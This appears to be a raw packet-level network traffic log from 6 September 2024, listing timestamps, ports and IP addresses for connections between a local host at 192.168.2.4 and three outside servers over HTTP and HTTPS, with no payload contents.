Sep 6, 2024 08:17:08.064467907 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.064472914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064480066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064501047 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.064527035 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.064541101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064547062 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064558029 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064577103 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.064604044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064610004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064620018 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064683914 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.064687014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064692974 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064703941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064743042 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064748049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064759016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064764977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064778090 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.064796925 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064800978 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.064800978 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.064804077 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064817905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064821959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064843893 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.064866066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064871073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064882040 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064883947 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.064920902 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.064989090 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064995050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065005064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065011024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065025091 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065030098 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065041065 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065063000 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.065063000 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.065078020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065083027 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065088987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065094948 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065099955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065103054 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.065134048 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.065171003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.065206051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065217018 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065222025 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065227985 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065233946 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065246105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065251112 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065253973 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.065256119 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065262079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065294027 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.065294027 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.065308094 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.065653086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065665960 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065670967 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065712929 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.065771103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065777063 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065783024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065793037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.065813065 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.065840960 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.066369057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066375017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066384077 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066430092 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.066431046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066437006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066477060 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.066478014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066524982 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.066540956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066546917 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066556931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066561937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066572905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066577911 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066596985 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.066622972 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066627026 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.066627979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066695929 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.066867113 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066873074 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066884041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066936016 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.066965103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066972017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066977024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.066982031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.067015886 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.077938080 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.077958107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.077965975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.078005075 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.078080893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.078094006 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.078104019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.078109026 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.078114033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.078130960 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.078154087 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.086846113 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.086915016 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.086920977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.086925030 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.086932898 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.086944103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.086951017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.086971045 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.086971045 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.087002039 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.087641001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.087693930 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.094588995 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.094626904 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.094659090 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.094662905 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.094686031 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.094739914 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.094888926 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.094903946 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.094939947 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.094945908 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.094964027 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.094971895 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.095268011 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.095279932 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.095314026 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.095319033 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.095338106 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.095351934 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.095707893 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.095731020 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.095762014 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.095766068 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.095779896 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.095786095 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.095803976 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.095813036 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.095824003 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.095839024 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.095860958 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.096163988 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.096180916 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.096220016 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.096225023 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.096292019 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.097089052 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.097117901 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.097142935 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.097146988 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.097170115 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.097182989 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.116900921 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.116906881 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.116916895 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.116950035 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.117017031 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117022991 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117028952 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117033005 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117037058 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117042065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117055893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117059946 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117074013 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.117089033 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.117149115 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117155075 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117160082 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117166042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117170095 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117196083 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.117221117 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.117849112 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117857933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117863894 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117868900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117872953 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117878914 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117893934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117898941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117898941 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.117911100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117916107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117919922 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.117923021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117928028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117933989 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.117948055 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.117948055 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.117970943 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.118024111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118029118 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118033886 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118038893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118046999 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118051052 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118069887 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.118088961 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.118088961 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.118170977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118175983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118180990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118186951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118191004 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118196011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118206978 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118237019 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.118309975 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.118339062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118344069 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118354082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118359089 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118362904 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118369102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118379116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118383884 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118393898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.118395090 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.118395090 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.118408918 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.118419886 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.118453979 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.119057894 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.119121075 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.120850086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.120856047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.120866060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.120906115 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.120913029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.120918036 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.120918036 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.120945930 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.120985031 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.120990992 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.120996952 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121001959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121027946 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.121027946 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.121056080 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121062040 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121088982 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.121109962 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.121150017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121156931 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121165991 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121171951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121176004 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121205091 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.121220112 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.121283054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121288061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121298075 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121304035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121309042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121314049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121340990 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.121340990 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.121351957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121356964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121366978 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121371984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121395111 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.121428013 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.121433020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121695995 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.121783972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.121833086 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122445107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122450113 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122459888 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122509956 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122514963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122524977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122534990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122539043 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122541904 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122546911 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122555971 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122555971 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122581959 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122647047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122652054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122661114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122665882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122670889 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122675896 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122682095 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122704983 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122704983 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122714996 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122725964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122730970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122740984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122744083 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122786999 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122786999 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122826099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122831106 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122838974 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122843027 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122848988 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122870922 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122883081 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122905970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122910976 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122921944 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122926950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122931957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122942924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122961044 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122961044 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122972965 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.122984886 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.122991085 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.123001099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.123008966 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.123014927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.123034000 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.123034000 CEST	49733	80	192.168.2.4	147.45.44.104
